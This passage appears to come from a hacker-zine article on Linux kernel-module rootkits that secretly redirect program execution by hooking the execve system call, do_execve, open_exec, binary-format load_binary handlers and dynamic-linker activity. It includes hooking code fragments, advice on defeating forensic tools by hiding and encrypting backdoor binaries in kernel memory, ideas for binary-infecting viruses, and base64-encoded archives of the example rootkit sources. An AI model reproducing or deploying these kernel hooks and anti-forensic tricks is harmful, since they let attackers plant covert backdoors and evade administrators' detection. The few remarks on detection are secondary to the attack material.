active kernel development, the loadable kernel modules (lkm) implementing execution redirection use merely the same technique. As this makes it easy for some admins to percept a backdoor faster, others still are not aware of the danger. However, the real danger was not yet presented. --[ 3 - Short Stories I will show five different approaches how execution can be redirected. Appendix A contains working example code to illustrate them. The examples do work but are not really capable to be used in the wild. You get the idea. In order to understand the sourcecodes provided it is helpful to read [4] or [5]. The example code just show how this techniques can be used in a lkm. Further, I implemented them only for Linux. These techniques are not limited to Linux. With minor (and in a few cases major) modifications most can be ported to any UNIX. --[ 3.1 - The Classic Only for completeness, the classic. Redirection is achieved by replacing the system call handling execution. See classic.c from appendix A. There is nothing much to say about this one; it is used by [3] and explained in [6]. It might be detected by checking the address pointed to in the system call table. --[ 3.2 - The Obvious Since the system call is architecture dependent, there is a underlying layer handling the execution. The kernel sourcecode represents it in do_execve (~/fs/exec.c). The execve system call can be understood as a wrapper to do_execve. We will replace do_execve: n_do_execve (char *file, char **arvp, char **envp, \ struct pt_regs *regs) ... if (!strcmp (file, O_REDIR_PATH)) { file = strdup (N_REDIR_PATH); } restore_do_execve (); ret = do_execve (file, arvp, envp, regs); redirect_do_execve (); ... To actually redirect the execution we replace do_execve and replace the filename on demand. It is obviously the same approach as wrapping the execve system call. For a implementation see obvious.c in appendix A. No lkm using this technique is known to me. Detecting this one is not as easy as detecting the classic and depends on the technique used to replace it. (Checking for a jump instruction right at function begin is certainly a good idea). --[ 3.3 - The Waiter Upon execution, the binary has to be opened for reading. The kernel gives a dedicated function for this task, open_exec. It will open the binary file and do some sanity checks. As open_exec needs the complete path to the binary to open it this is again easy going. We just replace the filename on demand and call the original function. open_exec is called from within do_execve. To the waiter the same applies as to the obvious. Detection is possible but not trivial. --[ 3.4 - The Nexus After the binary file is opened, its ready to be read, right? Before it is done, the according binary format handler is searched. The handler processes the binary. Normally, this ends in the start of a new process. A binary format handler is defined as following (see ~/include/linux/ binfmts.h): /* * This structure defines the functions that are * used to load the binary formats that linux * accepts. */ struct linux_binfmt { struct linux_binfmt * next; struct module *module; int (*load_binary)(struct linux_binprm *, \ struct pt_regs * regs); int (*load_shlib)(struct file *); int (*core_dump)(long signr, struct pt_regs * regs, \ struct file * file); unsigned long min_coredump; /* minimal dump size */ }; Binary format handlers provide three pointers to functions. One for loading libraries, another for producing core dump files, the third for loading binaries (pfff ...). We replace this pointer. Our new load_binary function looks as follows: int new_load_binary (struct linux_binprm *bin, \ struct pt_regs *regs) { int ret; if (!strcmp (bin->filename, O_REDIR_PATH)) { /* * if a binary, subject to redirection, is about * to be executed just close the file * descriptor and open a new file. do not * forget resetup. */ filp_close (bin->file, 0); bin->file = open_exec (N_REDIR_PATH); prepare_binprm (bin); goto out; } out: return old_load_binary (bin, regs); } But how can we get the binary handlers? They are not exported, if not loaded as module. A possibility is executing and watching a binary of all available binary formats. Since the task structure inside the kernel carries a pointer to the handler for its binary it is possible to collect the pointers. (The handlers form a linked list - it is not really needed to execute one binary of each type; theoretically at least). The reference implementation, nexus.c in appendix A, fetches the first binary handler it gets its hands on. This is reasonable since virtually all linux distributors use homogeneous ELF based user land. What is more, it is very unlikely that the binary format of system binaries change. As used by nexus.c, one way of fetching binary handlers. Note that we do replace a system call but we restore it immediatly after we got our binary handler. This opens a very small time window where the replaced system call might be detected (if tried at all). Of course, we could have fetched the pointer directly in init_module. In other words: the time window is arbitrary small. int n_open (char *file, int flags) { int ret = o_open (file, flags); /* * ... get one. be sure to save (and restore) * the original pointer. having binary hand- * lers pointing to nirvana is no fun. */ elf_bin = current->binfmt; old_load_binary = elf_bin->load_binary; elf_bin->load_binary = &new_load_binary; /* * and restore the system call. */ sys_call_table[__NR_open] = o_open; return ret; } An evil attack would of course replace the core_dump pointer, too. Otherways it may be possible to detect redirection of execution by letting each process, right after creation, coredump. Then one may check properties of the dump and if they match, or not, execution may be reinitalized, or not, respectively. I do not recomment this method to detect redirection, though. An evil virus could wrap the load_binary function for infecting all binaries executed in memory. Even replaced pointers are hard to check if you do not know where they are. If we have a recent System.map file, we can walk the list of binary handlers since we can look up the address of the root entry ("formats" as defined in ~/fs/exec.c) and the handler functions. In other cases we might be out of luck. One might try to collect the unmodified addresses himself to be able to check them later one. Not a good idea ... --[ 3.5 - The Lord What about not redirecting execution at execution time? Where is the logic in not redirecting execution flow when it is exactly what we are doing here? When ELF binaries are executed, the kernel invokes a dynamic linker. It does necessary setup work as loading shared libraries and relocating them. We will try to make an advantage of this. Between execution of a binary at system level and the start of the execution at user level is a gap where the setup described above is done. And as loading of libraries involves mmap'ing and mprotect'ing we already know where we can start. We will just look at these system calls. Shared libraries are loaded to the same (static) address (which might differ from system to system). If a certain address is to be mapped or mprotect'ed by a certain process we restart the execution, with our binary. At this point of execution, the process calling mmap or mprotect is the dynamic linker. That is was the example implementation in appendix A, lord.c, does. Note that we can, of course, look for an arbitrary runtime pattern, there is no need for sticking to mmap or mprotect system calls. It is only of importance to start the new binary before the user can percept what is going on. Note, too, that this technique may be used to execute a binary in before and afterwards of the binary requested to be executed. That might be useful to modify the system enviroment. And finally note that we are not forced to sticking to a distinct runtime pattern. We may change at will the pattern triggering a redirection. I am really curious what people will do to detect execution redirection achieved with this method as it is not sufficient to check for one or two replaced pointers. It is even not sufficient to do execution path analysis as the path can be different for each execution. And it is not enough to search the filesystems for hidden files (which might indicate that, too, execution redirection is going on). Why is it not enough? See appendix B. All employed methods for forensical analysis of execution redirection defeated in one module? We could make the decision from/to where and when (and whoms) execution shall be redirected dependant on an arbitrary state or pattern. This is another handy entry point for an infector. --[ 4 - Conclusion We can take complete control of binary execution. There are many ways to redirect execution, some are easier to detect than others. It has to be asserted that it is not sufficient to check for one or two replaced pointer to get evidence if a system has been backdoored. Even if a system call has not been replaced (not even redirected at all) execution redirection can happen. One might now argue it is possible to search the binary redirected to. It has to be physically present on the harddisk. Programs have been developed to compare the content of a harddisk to the filesystem content shown in user land. Therefore it would be possible to detect even hidden files, as there might be, if a kernel backdoor is in use. That is completely wrong. Most obviously we would keep the binary totally in kernel memory. If our binary needs to be executed, we write it to disk and execute. When finished, we unlink it. Of course, it is also possible to copy the binary just "in place" when it is to be executed. Finally, to prevent pattern matching in kernel memory, we encrypt the data. A approach to this method is shown in appendix B. Under linux we can abuse the proc filesystem for this purpose, too. As long as forensic tools work on with a closed world assumption it will be still possible to evade them. Checking for replaced pointers does not help unless you check all, not only those "believed to be" important (letting alone that pointer checking cannot prove if a function is redirected or not). Developers might better invest their time to develop tools checking possible execution paths. Anomaly detection of kernel behaviour is a more reliable forensical analysis method than pattern matching. --[ 5 - Reference [1] Tripwire http://www.tripwire.com [2] Aide http://www.cs.tut.fi/~rammer/aide.html [3] knark http://www.packetstormsecurity.com/UNIX/penetration/rootkits/ knark-0.59.tar.gz [4] kernel function hijacking http://www.big.net.au/~silvio/kernel-hijack.txt [5] Linux x86 kernel function hooking emulation http://www.phrack.org/show.php?p=58&a=8 [6] LKM - Loadable Linux Kernel Modules http://www.thehackerschoice.com/download.php?t=p&d=LKM_HACKING.html --[ Appendix A: stories.tgz.uu <++> ./stories.tgz.uu begin-base64 644 stories.tgz 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 BRVUUEE/Ef0XupwxUgBQAAA= ==== <--> --[ Appendix B: fluc.c.gz.uu <++> ./fluc.c.gz.uu begin-base64 644 fluc.c.gz.uu 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 ==== <--> EOF ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x06 of 0x12 |=--------------=[ Defeating Forensic Analysis on Unix ]=----------------=| |=-----------------------------------------------------------------------=| |=--------------=[ anonymous